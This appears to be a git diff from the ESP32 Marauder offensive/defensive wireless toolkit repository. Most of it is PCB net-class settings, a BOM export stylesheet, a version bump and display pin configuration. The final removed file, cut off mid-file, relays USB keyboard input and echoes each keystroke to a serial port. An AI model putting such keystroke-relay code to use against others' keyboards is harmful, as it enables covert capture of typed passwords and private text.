"schematic_color": "rgba(0, 0, 0, 0.000)",
|
||||
"track_width": 0.25,
|
||||
"via_diameter": 0.8,
|
||||
"via_drill": 0.4,
|
||||
"track_width": 0.127,
|
||||
"via_diameter": 0.5,
|
||||
"via_drill": 0.3,
|
||||
"wire_width": 6.0
|
||||
},
|
||||
{
|
||||
"bus_width": 12.0,
|
||||
"clearance": 0.127,
|
||||
"diff_pair_gap": 0.25,
|
||||
"diff_pair_via_gap": 0.25,
|
||||
"diff_pair_width": 0.2,
|
||||
"line_style": 0,
|
||||
"microvia_diameter": 0.3,
|
||||
"microvia_drill": 0.1,
|
||||
"name": "GND",
|
||||
"nets": [
|
||||
"GND"
|
||||
],
|
||||
"pcb_color": "rgba(0, 0, 0, 0.000)",
|
||||
"schematic_color": "rgba(0, 0, 0, 0.000)",
|
||||
"track_width": 0.2,
|
||||
"via_diameter": 0.5,
|
||||
"via_drill": 0.3,
|
||||
"wire_width": 6.0
|
||||
},
|
||||
{
|
||||
"bus_width": 12.0,
|
||||
"clearance": 0.127,
|
||||
"diff_pair_gap": 0.25,
|
||||
"diff_pair_via_gap": 0.25,
|
||||
"diff_pair_width": 0.2,
|
||||
"line_style": 0,
|
||||
"microvia_diameter": 0.3,
|
||||
"microvia_drill": 0.1,
|
||||
"name": "Supply",
|
||||
"nets": [
|
||||
"+3V3",
|
||||
"+5V",
|
||||
"+LDO_3V3",
|
||||
"+ext_3V3",
|
||||
"+ext_5V"
|
||||
],
|
||||
"pcb_color": "rgba(0, 0, 0, 0.000)",
|
||||
"schematic_color": "rgba(0, 0, 0, 0.000)",
|
||||
"track_width": 0.2,
|
||||
"via_diameter": 0.5,
|
||||
"via_drill": 0.3,
|
||||
"wire_width": 6.0
|
||||
}
|
||||
],
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
2428
PCBs/FlipperZero/WiFi-Devboard-Pro/WiFi-Devboard-Pro.xml
Normal file
2428
PCBs/FlipperZero/WiFi-Devboard-Pro/WiFi-Devboard-Pro.xml
Normal file
File diff suppressed because it is too large
Load Diff
104
PCBs/FlipperZero/WiFi-Devboard-Pro/bom2grouped_csv_jlcpcb.xsl
Normal file
104
PCBs/FlipperZero/WiFi-Devboard-Pro/bom2grouped_csv_jlcpcb.xsl
Normal file
@@ -0,0 +1,104 @@
|
||||
<!--XSL style sheet to convert EESCHEMA XML Partlist Format to grouped CSV BOM Format
|
||||
Copyright (C) 2014, Wolf Walter.
|
||||
Copyright (C) 2013, Stefan Helmert.
|
||||
Copyright (C) 2018, Kicad developers.
|
||||
Copyright (C) 2019, arturo182.
|
||||
GPL v2.
|
||||
|
||||
Functionality:
|
||||
Generation of JLCPCB PCBA compatible BOM
|
||||
|
||||
How to use this is explained in eeschema.pdf chapter 14. You enter a command line into the
|
||||
netlist exporter using a new (custom) tab in the netlist export dialog.
|
||||
The command line is
|
||||
xsltproc -o "%O.csv" "FullPathToFile/bom2grouped_csv_jlcpcb.xsl" "%I"
|
||||
-->
|
||||
<!--
|
||||
@package
|
||||
Generates a JLCPCB PCBA service compatible BOM
|
||||
|
||||
Functionality:
|
||||
* Generate a comma separated value BOM list (csv file type).
|
||||
* Components are sorted by ref and grouped by same value+footprint
|
||||
One value per line
|
||||
Fields are
|
||||
Comment,Designator,Footprint,LCSC
|
||||
|
||||
The command line is
|
||||
xsltproc -o "%O.csv" "full_path/bom2grouped_csv_jlcpcb.xsl" "%I"
|
||||
-->
|
||||
|
||||
|
||||
<!DOCTYPE xsl:stylesheet [
|
||||
<!ENTITY nl "
"> <!--new line CR, LF, or LF, your choice -->
|
||||
]>
|
||||
|
||||
|
||||
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
|
||||
<xsl:output method="text"/>
|
||||
|
||||
<xsl:variable name="digits" select="'1234567890'" />
|
||||
|
||||
<!-- for matching grouping of footprint and value combination -->
|
||||
<xsl:key name="partTypeByValueAndFootprint" match="comp" use="concat(footprint, '-', value)" />
|
||||
|
||||
<!-- for table head and empty table fields-->
|
||||
<xsl:key name="headentr" match="field" use="@name"/>
|
||||
|
||||
<!-- main part -->
|
||||
<xsl:template match="/export">
|
||||
<xsl:text>Comment,Designator,Footprint,LCSC</xsl:text>
|
||||
<!-- all table entries -->
|
||||
<xsl:apply-templates select="components"/>
|
||||
</xsl:template>
|
||||
|
||||
<xsl:template match="components">
|
||||
<!-- for Muenchian grouping of footprint and value combination -->
|
||||
<xsl:for-each select="comp[count(. | key('partTypeByValueAndFootprint', concat(footprint, '-', value))[1]) = 1]">
|
||||
<xsl:sort select="@ref" />
|
||||
<xsl:text>&nl;</xsl:text>
|
||||
<xsl:text>"</xsl:text><xsl:value-of select="value"/><xsl:text>","</xsl:text>
|
||||
<!-- list of all references -->
|
||||
<xsl:for-each select="key('partTypeByValueAndFootprint', concat(footprint, '-', value))">
|
||||
<!-- strip non-digits from reference and sort based on remaining number -->
|
||||
<xsl:sort select="translate(@ref, translate(@ref, $digits, ''), '')" data-type="number" />
|
||||
<xsl:value-of select="@ref"/>
|
||||
<xsl:if test="position() != last()"><xsl:text>,</xsl:text></xsl:if>
|
||||
</xsl:for-each>
|
||||
<xsl:text>","</xsl:text>
|
||||
|
||||
<xsl:value-of select="footprint"/><xsl:text>","</xsl:text>
|
||||
<xsl:value-of select="fields/field[@name='LCSC']"/><xsl:text>"</xsl:text>
|
||||
</xsl:for-each>
|
||||
</xsl:template>
|
||||
|
||||
<!-- table entries with dynamic table head -->
|
||||
<xsl:template match="fields">
|
||||
|
||||
<!-- remember current fields section -->
|
||||
<xsl:variable name="fieldvar" select="field"/>
|
||||
|
||||
<!-- for all existing head entries -->
|
||||
<xsl:for-each select="/export/components/comp/fields/field[generate-id(.) = generate-id(key('headentr',@name)[1])]">
|
||||
<xsl:variable name="allnames" select="@name"/>
|
||||
<xsl:text>,"</xsl:text>
|
||||
|
||||
<!-- for all field entries in the remembered fields section -->
|
||||
<xsl:for-each select="$fieldvar">
|
||||
|
||||
<!-- only if this field entry exists in this fields section -->
|
||||
<xsl:if test="@name=$allnames">
|
||||
<!-- content of the field -->
|
||||
<xsl:value-of select="."/>
|
||||
</xsl:if>
|
||||
<!--
|
||||
If it does not exist, use an empty cell in output for this row.
|
||||
Every non-blank entry is assigned to its proper column.
|
||||
-->
|
||||
</xsl:for-each>
|
||||
|
||||
<xsl:text>"</xsl:text>
|
||||
</xsl:for-each>
|
||||
</xsl:template>
|
||||
|
||||
</xsl:stylesheet>
|
||||
86423
PCBs/FlipperZero/WiFi-Devboard-Pro/fp-info-cache
Normal file
86423
PCBs/FlipperZero/WiFi-Devboard-Pro/fp-info-cache
Normal file
File diff suppressed because it is too large
Load Diff
@@ -3,7 +3,7 @@
|
||||
<!---[](https://travis-ci.com/justcallmekoko/ESP32Marauder)--->
|
||||
<!---Shields/Badges https://shields.io/--->
|
||||
|
||||
# ESP32 Marauder v0.9.17
|
||||
# ESP32 Marauder v0.11.0-RC1
|
||||
<p align="center"><img alt="Marauder logo" src="https://github.com/justcallmekoko/ESP32Marauder/blob/master/pictures/marauder3L.jpg?raw=true" width="300"></p>
|
||||
<p align="center">
|
||||
<b>A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32</b>
|
||||
|
||||
7
TestFile/TestFile.ino
Normal file
7
TestFile/TestFile.ino
Normal file
@@ -0,0 +1,7 @@
|
||||
void setup() {
|
||||
Serial.begin(115200);
|
||||
}
|
||||
|
||||
void loop() {
|
||||
Serial.println("Just a test");
|
||||
}
|
||||
@@ -21,8 +21,9 @@
|
||||
|
||||
//#include <User_Setup.h> // Default setup is root library folder
|
||||
|
||||
//#include <User_Setup_og_marauder.h>
|
||||
#include <User_Setup_marauder_mini.h>
|
||||
#include <User_Setup_og_marauder.h>
|
||||
//#include <User_Setup_marauder_mini.h>
|
||||
//#include <User_Setup_marauder_m5stickc.h>
|
||||
|
||||
//#include <User_Setups/Setup1_ILI9341.h> // Setup file configured for my ILI9341
|
||||
//#include <User_Setups/Setup2_ST7735.h> // Setup file configured for my ST7735
|
||||
|
||||
318
User_Setup_marauder_m5stickc.h
Normal file
318
User_Setup_marauder_m5stickc.h
Normal file
@@ -0,0 +1,318 @@
|
||||
// USER DEFINED SETTINGS
|
||||
// Set driver type, fonts to be loaded, pins used and SPI control method etc
|
||||
//
|
||||
// See the User_Setup_Select.h file if you wish to be able to define multiple
|
||||
// setups and then easily select which setup file is used by the compiler.
|
||||
//
|
||||
// If this file is edited correctly then all the library example sketches should
|
||||
// run without the need to make any more changes for a particular hardware setup!
|
||||
// Note that some sketches are designed for a particular TFT pixel width/height
|
||||
|
||||
|
||||
// ##################################################################################
|
||||
//
|
||||
// Section 1. Call up the right driver file and any options for it
|
||||
//
|
||||
// ##################################################################################
|
||||
|
||||
// Display type - only define if RPi display
|
||||
//#define RPI_DRIVER
|
||||
|
||||
#define CGRAM_OFFSET
|
||||
|
||||
// Only define one driver, the other ones must be commented out
|
||||
//#define ILI9341_DRIVER // OG Marauder
|
||||
//#define ST7735_DRIVER // Marauder Mini // Define additional parameters below for this display
|
||||
//#define ILI9163_DRIVER // Define additional parameters below for this display
|
||||
//#define S6D02A1_DRIVER
|
||||
//#define RPI_ILI9486_DRIVER // 20MHz maximum SPI
|
||||
//#define HX8357D_DRIVER
|
||||
//#define ILI9481_DRIVER
|
||||
//#define ILI9486_DRIVER
|
||||
//#define ILI9488_DRIVER // WARNING: Do not connect ILI9488 display SDO to MISO if other devices share the SPI bus (TFT SDO does NOT tristate when CS is high)
|
||||
//#define ST7789_DRIVER // Full configuration option, define additional parameters below for this display
|
||||
#define ST7789_2_DRIVER // Minimal configuration option, define additional parameters below for this display
|
||||
//#define R61581_DRIVER
|
||||
//#define RM68140_DRIVER
|
||||
//#define ST7796_DRIVER
|
||||
|
||||
// Some displays support SPI reads via the MISO pin, other displays have a single
|
||||
// bi-directional SDA pin and the library will try to read this via the MOSI line.
|
||||
// To use the SDA line for reading data from the TFT uncomment the following line:
|
||||
|
||||
// #define TFT_SDA_READ // This option is for ESP32 ONLY, tested with ST7789 display only
|
||||
|
||||
// For ST7789 and ILI9341 ONLY, define the colour order IF the blue and red are swapped on your display
|
||||
// Try ONE option at a time to find the correct colour order for your display
|
||||
|
||||
#define TFT_RGB_ORDER TFT_RGB // Colour order Red-Green-Blue
|
||||
// #define TFT_RGB_ORDER TFT_BGR // Colour order Blue-Green-Red
|
||||
|
||||
// For M5Stack ESP32 module with integrated ILI9341 display ONLY, remove // in line below
|
||||
|
||||
// #define M5STACK
|
||||
|
||||
// For ST7789, ST7735 and ILI9163 ONLY, define the pixel width and height in portrait orientation
|
||||
// #define TFT_WIDTH 80
|
||||
#define TFT_WIDTH 135 // Marauder Mini
|
||||
// #define TFT_WIDTH 240 // ST7789 240 x 240 and 240 x 320
|
||||
// #define TFT_HEIGHT 160
|
||||
#define TFT_HEIGHT 240 // Marauder Mini
|
||||
// #define TFT_HEIGHT 240 // ST7789 240 x 240
|
||||
// #define TFT_HEIGHT 320 // ST7789 240 x 320
|
||||
|
||||
// For ST7735 ONLY, define the type of display, originally this was based on the
|
||||
// colour of the tab on the screen protector film but this is not always true, so try
|
||||
// out the different options below if the screen does not display graphics correctly,
|
||||
// e.g. colours wrong, mirror images, or tray pixels at the edges.
|
||||
// Comment out ALL BUT ONE of these options for a ST7735 display driver, save this
|
||||
// this User_Setup file, then rebuild and upload the sketch to the board again:
|
||||
|
||||
// #define ST7735_INITB
|
||||
// #define ST7735_GREENTAB
|
||||
// #define ST7735_GREENTAB2
|
||||
// #define ST7735_GREENTAB3
|
||||
// #define ST7735_GREENTAB128 // For 128 x 128 display
|
||||
// #define ST7735_GREENTAB160x80 // For 160 x 80 display (BGR, inverted, 26 offset)
|
||||
// #define ST7735_REDTAB
|
||||
// #define ST7735_BLACKTAB
|
||||
// #define ST7735_REDTAB160x80 // For 160 x 80 display with 24 pixel offset
|
||||
|
||||
// If colours are inverted (white shows as black) then uncomment one of the next
|
||||
// 2 lines try both options, one of the options should correct the inversion.
|
||||
|
||||
// #define TFT_INVERSION_ON
|
||||
// #define TFT_INVERSION_OFF
|
||||
|
||||
// If a backlight control signal is available then define the TFT_BL pin in Section 2
|
||||
// below. The backlight will be turned ON when tft.begin() is called, but the library
|
||||
// needs to know if the LEDs are ON with the pin HIGH or LOW. If the LEDs are to be
|
||||
// driven with a PWM signal or turned OFF/ON then this must be handled by the user
|
||||
// sketch. e.g. with digitalWrite(TFT_BL, LOW);
|
||||
|
||||
#define TFT_BACKLIGHT_ON LOW // HIGH or LOW are options
|
||||
|
||||
// ##################################################################################
|
||||
//
|
||||
// Section 2. Define the pins that are used to interface with the display here
|
||||
//
|
||||
// ##################################################################################
|
||||
|
||||
// We must use hardware SPI, a minimum of 3 GPIO pins is needed.
|
||||
// Typical setup for ESP8266 NodeMCU ESP-12 is :
|
||||
//
|
||||
// Display SDO/MISO to NodeMCU pin D6 (or leave disconnected if not reading TFT)
|
||||
// Display LED to NodeMCU pin VIN (or 5V, see below)
|
||||
// Display SCK to NodeMCU pin D5
|
||||
// Display SDI/MOSI to NodeMCU pin D7
|
||||
// Display DC (RS/AO)to NodeMCU pin D3
|
||||
// Display RESET to NodeMCU pin D4 (or RST, see below)
|
||||
// Display CS to NodeMCU pin D8 (or GND, see below)
|
||||
// Display GND to NodeMCU pin GND (0V)
|
||||
// Display VCC to NodeMCU 5V or 3.3V
|
||||
//
|
||||
// The TFT RESET pin can be connected to the NodeMCU RST pin or 3.3V to free up a control pin
|
||||
//
|
||||
// The DC (Data Command) pin may be labeled AO or RS (Register Select)
|
||||
//
|
||||
// With some displays such as the ILI9341 the TFT CS pin can be connected to GND if no more
|
||||
// SPI devices (e.g. an SD Card) are connected, in this case comment out the #define TFT_CS
|
||||
// line below so it is NOT defined. Other displays such at the ST7735 require the TFT CS pin
|
||||
// to be toggled during setup, so in these cases the TFT_CS line must be defined and connected.
|
||||
//
|
||||
// The NodeMCU D0 pin can be used for RST
|
||||
//
|
||||
//
|
||||
// Note: only some versions of the NodeMCU provide the USB 5V on the VIN pin
|
||||
// If 5V is not available at a pin you can use 3.3V but backlight brightness
|
||||
// will be lower.
|
||||
|
||||
|
||||
// ###### EDIT THE PIN NUMBERS IN THE LINES FOLLOWING TO SUIT YOUR ESP8266 SETUP ######
|
||||
|
||||
// For NodeMCU - use pin numbers in the form PIN_Dx where Dx is the NodeMCU pin designation
|
||||
//#define TFT_CS PIN_D8 // Chip select control pin D8
|
||||
//#define TFT_DC PIN_D3 // Data Command control pin
|
||||
//#define TFT_RST PIN_D4 // Reset pin (could connect to NodeMCU RST, see next line)
|
||||
//#define TFT_RST -1 // Set TFT_RST to -1 if the display RESET is connected to NodeMCU RST or 3.3V
|
||||
|
||||
//#define TFT_BL PIN_D1 // LED back-light (only for ST7789 with backlight control pin)
|
||||
|
||||
//#define TOUCH_CS PIN_D2 // Chip select pin (T_CS) of touch screen
|
||||
|
||||
//#define TFT_WR PIN_D2 // Write strobe for modified Raspberry Pi TFT only
|
||||
|
||||
|
||||
// ###### FOR ESP8266 OVERLAP MODE EDIT THE PIN NUMBERS IN THE FOLLOWING LINES ######
|
||||
|
||||
// Overlap mode shares the ESP8266 FLASH SPI bus with the TFT so has a performance impact
|
||||
// but saves pins for other functions. It is best not to connect MISO as some displays
|
||||
// do not tristate that line wjen chip select is high!
|
||||
// On NodeMCU 1.0 SD0=MISO, SD1=MOSI, CLK=SCLK to connect to TFT in overlap mode
|
||||
// On NodeMCU V3 S0 =MISO, S1 =MOSI, S2 =SCLK
|
||||
// In ESP8266 overlap mode the following must be defined
|
||||
|
||||
//#define TFT_SPI_OVERLAP
|
||||
|
||||
// In ESP8266 overlap mode the TFT chip select MUST connect to pin D3
|
||||
//#define TFT_CS PIN_D3
|
||||
//#define TFT_DC PIN_D5 // Data Command control pin
|
||||
//#define TFT_RST PIN_D4 // Reset pin (could connect to NodeMCU RST, see next line)
|
||||
//#define TFT_RST -1 // Set TFT_RST to -1 if the display RESET is connected to NodeMCU RST or 3.3V
|
||||
|
||||
|
||||
// ###### EDIT THE PIN NUMBERS IN THE LINES FOLLOWING TO SUIT YOUR ESP32 SETUP ######
|
||||
|
||||
// For ESP32 Dev board (only tested with ILI9341 display)
|
||||
// The hardware SPI can be mapped to any pins
|
||||
|
||||
// Marauder Mini
|
||||
#define TFT_CS 5 // Chip select control pin D8
|
||||
#define TFT_DC 23 // Data Command control pin
|
||||
#define TFT_RST 18 // Reset pin (could connect to NodeMCU RST, see next line)
|
||||
#define TOUCH_CS 10
|
||||
//#define TFT_MISO 19
|
||||
#define TFT_MOSI 15
|
||||
#define TFT_SCLK 13
|
||||
#define TFT_BL 10
|
||||
|
||||
/*
|
||||
// ESP32 Marauder
|
||||
#define TFT_MISO 19
|
||||
#define TFT_MOSI 23
|
||||
#define TFT_SCLK 18
|
||||
#define TFT_CS 17 // Chip select control pin
|
||||
#define TFT_DC 16 // Data Command control pin
|
||||
#define TFT_RST 5 // Reset pin (could connect to RST pin)
|
||||
//#define TFT_RST -1 // Set TFT_RST to -1 if display RESET is connected to ESP32 board RST
|
||||
|
||||
#define TFT_BL 32 // LED back-light (only for ST7789 with backlight control pin)
|
||||
|
||||
#define TOUCH_CS 21 // Chip select pin (T_CS) of touch screen
|
||||
*/
|
||||
/////////////////////////////
|
||||
|
||||
// ESP32 Centauri
|
||||
/*
|
||||
#define TFT_MISO 19
|
||||
#define TFT_MOSI 23
|
||||
#define TFT_SCLK 18
|
||||
#define TFT_CS 27 // Chip select control pin
|
||||
#define TFT_DC 26 // Data Command control pin
|
||||
#define TFT_RST 5 // Reset pin (could connect to RST pin)
|
||||
//#define TFT_RST -1 // Set TFT_RST to -1 if display RESET is connected to ESP32 board RST
|
||||
|
||||
#define TFT_BL 32 // LED back-light (only for ST7789 with backlight control pin)
|
||||
|
||||
#define TOUCH_CS 21 // Chip select pin (T_CS) of touch screen
|
||||
*/
|
||||
/////////////////////////////
|
||||
|
||||
//#define TFT_WR 22 // Write strobe for modified Raspberry Pi TFT only
|
||||
|
||||
// For the M5Stack module use these #define lines
|
||||
//#define TFT_MISO 19
|
||||
//#define TFT_MOSI 23
|
||||
//#define TFT_SCLK 18
|
||||
//#define TFT_CS 14 // Chip select control pin
|
||||
//#define TFT_DC 27 // Data Command control pin
|
||||
//#define TFT_RST 33 // Reset pin (could connect to Arduino RESET pin)
|
||||
//#define TFT_BL 32 // LED back-light (required for M5Stack)
|
||||
|
||||
// ###### EDIT THE PINs BELOW TO SUIT YOUR ESP32 PARALLEL TFT SETUP ######
|
||||
|
||||
// The library supports 8 bit parallel TFTs with the ESP32, the pin
|
||||
// selection below is compatible with ESP32 boards in UNO format.
|
||||
// Wemos D32 boards need to be modified, see diagram in Tools folder.
|
||||
// Only ILI9481 and ILI9341 based displays have been tested!
|
||||
|
||||
// Parallel bus is only supported on ESP32
|
||||
// Uncomment line below to use ESP32 Parallel interface instead of SPI
|
||||
|
||||
//#define ESP32_PARALLEL
|
||||
|
||||
// The ESP32 and TFT the pins used for testing are:
|
||||
//#define TFT_CS 33 // Chip select control pin (library pulls permanently low
|
||||
//#define TFT_DC 15 // Data Command control pin - must use a pin in the range 0-31
|
||||
//#define TFT_RST 32 // Reset pin, toggles on startup
|
||||
|
||||
//#define TFT_WR 4 // Write strobe control pin - must use a pin in the range 0-31
|
||||
//#define TFT_RD 2 // Read strobe control pin
|
||||
|
||||
//#define TFT_D0 12 // Must use pins in the range 0-31 for the data bus
|
||||
//#define TFT_D1 13 // so a single register write sets/clears all bits.
|
||||
//#define TFT_D2 26 // Pins can be randomly assigned, this does not affect
|
||||
//#define TFT_D3 25 // TFT screen update performance.
|
||||
//#define TFT_D4 17
|
||||
//#define TFT_D5 16
|
||||
//#define TFT_D6 27
|
||||
//#define TFT_D7 14
|
||||
|
||||
|
||||
// ##################################################################################
|
||||
//
|
||||
// Section 3. Define the fonts that are to be used here
|
||||
//
|
||||
// ##################################################################################
|
||||
|
||||
// Comment out the #defines below with // to stop that font being loaded
|
||||
// The ESP8366 and ESP32 have plenty of memory so commenting out fonts is not
|
||||
// normally necessary. If all fonts are loaded the extra FLASH space required is
|
||||
// about 17Kbytes. To save FLASH space only enable the fonts you need!
|
||||
|
||||
#define LOAD_GLCD // Font 1. Original Adafruit 8 pixel font needs ~1820 bytes in FLASH
|
||||
#define LOAD_FONT2 // Font 2. Small 16 pixel high font, needs ~3534 bytes in FLASH, 96 characters
|
||||
#define LOAD_FONT4 // Font 4. Medium 26 pixel high font, needs ~5848 bytes in FLASH, 96 characters
|
||||
#define LOAD_FONT6 // Font 6. Large 48 pixel font, needs ~2666 bytes in FLASH, only characters 1234567890:-.apm
|
||||
#define LOAD_FONT7 // Font 7. 7 segment 48 pixel font, needs ~2438 bytes in FLASH, only characters 1234567890:-.
|
||||
#define LOAD_FONT8 // Font 8. Large 75 pixel font needs ~3256 bytes in FLASH, only characters 1234567890:-.
|
||||
//#define LOAD_FONT8N // Font 8. Alternative to Font 8 above, slightly narrower, so 3 digits fit a 160 pixel TFT
|
||||
#define LOAD_GFXFF // FreeFonts. Include access to the 48 Adafruit_GFX free fonts FF1 to FF48 and custom fonts
|
||||
|
||||
// Comment out the #define below to stop the SPIFFS filing system and smooth font code being loaded
|
||||
// this will save ~20kbytes of FLASH
|
||||
#define SMOOTH_FONT
|
||||
|
||||
|
||||
// ##################################################################################
|
||||
//
|
||||
// Section 4. Other options
|
||||
//
|
||||
// ##################################################################################
|
||||
|
||||
// Define the SPI clock frequency, this affects the graphics rendering speed. Too
|
||||
// fast and the TFT driver will not keep up and display corruption appears.
|
||||
// With an ILI9341 display 40MHz works OK, 80MHz sometimes fails
|
||||
// With a ST7735 display more than 27MHz may not work (spurious pixels and lines)
|
||||
// With an ILI9163 display 27 MHz works OK.
|
||||
|
||||
// #define SPI_FREQUENCY 1000000
|
||||
//#define SPI_FREQUENCY 5000000
|
||||
// #define SPI_FREQUENCY 10000000
|
||||
#define SPI_FREQUENCY 20000000
|
||||
//#define SPI_FREQUENCY 27000000 // Marauder // Actually sets it to 26.67MHz = 80/3
|
||||
// #define SPI_FREQUENCY 40000000
|
||||
// #define SPI_FREQUENCY 80000000
|
||||
|
||||
// Optional reduced SPI frequency for reading TFT
|
||||
#define SPI_READ_FREQUENCY 20000000
|
||||
|
||||
// The XPT2046 requires a lower SPI clock rate of 2.5MHz so we define that here:
|
||||
#define SPI_TOUCH_FREQUENCY 2500000
|
||||
|
||||
// The ESP32 has 2 free SPI ports i.e. VSPI and HSPI, the VSPI is the default.
|
||||
// If the VSPI port is in use and pins are not accessible (e.g. TTGO T-Beam)
|
||||
// then uncomment the following line:
|
||||
//#define USE_HSPI_PORT
|
||||
|
||||
// Comment out the following #define if "SPI Transactions" do not need to be
|
||||
// supported. When commented out the code size will be smaller and sketches will
|
||||
// run slightly faster, so leave it commented out unless you need it!
|
||||
|
||||
// Transaction support is needed to work with SD library but not needed with TFT_SdFat
|
||||
// Transaction support is required if other SPI devices are connected.
|
||||
|
||||
// Transactions are automatically enabled by the library for an ESP32 (to use HAL mutex)
|
||||
// so changing it here has no effect
|
||||
|
||||
// #define SUPPORT_TRANSACTIONS
|
||||
@@ -1,459 +0,0 @@
|
||||
#include <hidboot.h>
|
||||
#include <usbhub.h>
|
||||
#include "Keyboard.h"
|
||||
|
||||
#define Serial Serial1
|
||||
|
||||
// Satisfy the IDE, which needs to see the include statment in the ino too.
|
||||
#ifdef dobogusinclude
|
||||
#include <spi4teensy3.h>
|
||||
#include <SPI.h>
|
||||
#endif
|
||||
|
||||
#include <SPI.h>
|
||||
#include <SD.h>
|
||||
|
||||
#define CAPS_LOCK 0x39
|
||||
#define NUM_LOCK 0x53
|
||||
#define SCROLL_LOCK 0x47
|
||||
#define PRINT_SCREEN 0x46
|
||||
#define NUM_1 0x59
|
||||
#define NUM_2 0x5A
|
||||
#define NUM_3 0x5B
|
||||
#define NUM_4 0x5C
|
||||
#define NUM_5 0x5D
|
||||
#define NUM_6 0x5E
|
||||
#define NUM_7 0x5F
|
||||
#define NUM_8 0x60
|
||||
#define NUM_9 0x61
|
||||
#define NUM_0 0x62
|
||||
|
||||
#define KEY_CAPS_LOCK 0x01
|
||||
#define KEY_NUM_LOCK 0x02
|
||||
#define KEY_SCROLL_LOCK 0x04
|
||||
#define KEY_PRINT_SCREEN 0x05
|
||||
#define KEY_NUM_1 0x31
|
||||
#define KEY_NUM_2 0x32
|
||||
#define KEY_NUM_3 0x33
|
||||
#define KEY_NUM_4 0x34
|
||||
#define KEY_NUM_5 0x35
|
||||
#define KEY_NUM_6 0x36
|
||||
#define KEY_NUM_7 0x37
|
||||
#define KEY_NUM_8 0x38
|
||||
#define KEY_NUM_9 0x39
|
||||
#define KEY_NUM_0 0x30
|
||||
|
||||
String bufferStr = "";
|
||||
String last = "";
|
||||
|
||||
int defaultDelay = 0;
|
||||
|
||||
bool shift = false;
|
||||
bool num_lock = false; // false is working half way
|
||||
|
||||
USB Usb;
|
||||
HIDBoot<USB_HID_PROTOCOL_KEYBOARD> HidKeyboard(&Usb);
|
||||
uint32_t next_time;
|
||||
|
||||
class KbdRptParser : public KeyboardReportParser{
|
||||
public:
|
||||
uint8_t _parse(uint8_t key);
|
||||
String _getChar(uint8_t key);
|
||||
protected:
|
||||
void OnControlKeysChanged(uint8_t before, uint8_t after);
|
||||
|
||||
void OnKeyDown (uint8_t mod, uint8_t key);
|
||||
void OnKeyUp (uint8_t mod, uint8_t key);
|
||||
void OnKeyPressed(uint8_t key);
|
||||
|
||||
void _press(uint8_t key);
|
||||
void _release(uint8_t key);
|
||||
};
|
||||
|
||||
void KbdRptParser::OnKeyDown(uint8_t mod, uint8_t key){
|
||||
digitalWrite(LED_BUILTIN, HIGH);
|
||||
int parsedKey = _parse(key);
|
||||
if(parsedKey == key){
|
||||
uint8_t c = OemToAscii(mod, key);
|
||||
OnKeyPressed(c);
|
||||
if(c != 0x20 && c != 0x00) _press(c);
|
||||
else _press(key);
|
||||
}else _press(parsedKey);
|
||||
digitalWrite(LED_BUILTIN, LOW);
|
||||
}
|
||||
|
||||
void KbdRptParser::OnKeyUp(uint8_t mod, uint8_t key){
|
||||
int parsedKey = _parse(key);
|
||||
if(parsedKey == key){
|
||||
uint8_t c = OemToAscii(mod, key);
|
||||
OnKeyPressed(c);
|
||||
if(c != 0x20 && c != 0x00){
|
||||
_release(c);
|
||||
Serial.print((char)c);
|
||||
}
|
||||
else{
|
||||
_release(key);
|
||||
Serial.print("0x");
|
||||
Serial.print(key, HEX);
|
||||
}
|
||||
}else{
|
||||
_release(parsedKey);
|
||||
Serial.print(_getChar(key));
|
||||
}
|
||||
}
|
||||
|
||||
void KbdRptParser::OnControlKeysChanged(uint8_t before, uint8_t after) {
|
||||
|
||||
MODIFIERKEYS beforeMod;
|
||||
*((uint8_t*)&beforeMod) = before;
|
||||
|
||||
MODIFIERKEYS afterMod;
|
||||
*((uint8_t*)&afterMod) = after;
|
||||
|
||||
//left
|
||||
if(beforeMod.bmLeftCtrl != afterMod.bmLeftCtrl){
|
||||
if(afterMod.bmLeftCtrl) Keyboard.press(KEY_LEFT_CTRL);
|
||||
else Keyboard.release(KEY_LEFT_CTRL);
|
||||
Serial.print("<ctrl "+(String)afterMod.bmLeftCtrl+">");
|
||||
}
|
||||
|
||||
if(beforeMod.bmLeftShift != afterMod.bmLeftShift){
|
||||
if(afterMod.bmLeftShift) Keyboard.press(KEY_LEFT_SHIFT);
|
||||
else Keyboard.release(KEY_LEFT_SHIFT);
|
||||
shift = afterMod.bmLeftShift;
|
||||
//Serial.print("<shift "+(String)afterMod.bmLeftShift+">");
|
||||
}
|
||||
|
||||
if(beforeMod.bmLeftAlt != afterMod.bmLeftAlt){
|
||||
if(afterMod.bmLeftAlt) Keyboard.press(KEY_LEFT_ALT);
|
||||
else Keyboard.release(KEY_LEFT_ALT);
|
||||
Serial.print("<alt "+(String)afterMod.bmLeftAlt+">");
|
||||
}
|
||||
|
||||
if(beforeMod.bmLeftGUI != afterMod.bmLeftGUI){
|
||||
if(afterMod.bmLeftGUI) Keyboard.press(KEY_LEFT_GUI);
|
||||
else Keyboard.release(KEY_LEFT_GUI);
|
||||
Serial.print("<gui "+(String)afterMod.bmLeftGUI+">");
|
||||
}
|
||||
|
||||
//right
|
||||
if(beforeMod.bmRightCtrl != afterMod.bmRightCtrl){
|
||||
if(afterMod.bmRightCtrl) Keyboard.press(KEY_RIGHT_CTRL);
|
||||
else Keyboard.release(KEY_RIGHT_CTRL);
|
||||
Serial.print("<ctrl "+(String)afterMod.bmRightCtrl+">");
|
||||
}
|
||||
|
||||
if(beforeMod.bmRightShift != afterMod.bmRightShift){
|
||||
if(afterMod.bmRightShift) Keyboard.press(KEY_RIGHT_SHIFT);
|
||||
else Keyboard.release(KEY_RIGHT_SHIFT);
|
||||
shift = afterMod.bmLeftShift;
|
||||
//Serial.print("<shift "+(String)afterMod.bmRightShift+">");
|
||||
}
|
||||
|
||||
if(beforeMod.bmRightAlt != afterMod.bmRightAlt){
|
||||
if(afterMod.bmRightAlt) Keyboard.press(KEY_RIGHT_ALT);
|
||||
else Keyboard.release(KEY_RIGHT_ALT);
|
||||
Serial.print("<alt "+(String)afterMod.bmRightAlt+">");
|
||||
}
|
||||
|
||||
if(beforeMod.bmRightGUI != afterMod.bmRightGUI){
|
||||
if(afterMod.bmRightGUI) Keyboard.press(KEY_RIGHT_GUI);
|
||||
else Keyboard.release(KEY_RIGHT_GUI);
|
||||
Serial.print("<gui "+(String)afterMod.bmRightGUI+">");
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
void KbdRptParser::OnKeyPressed(uint8_t key){
|
||||
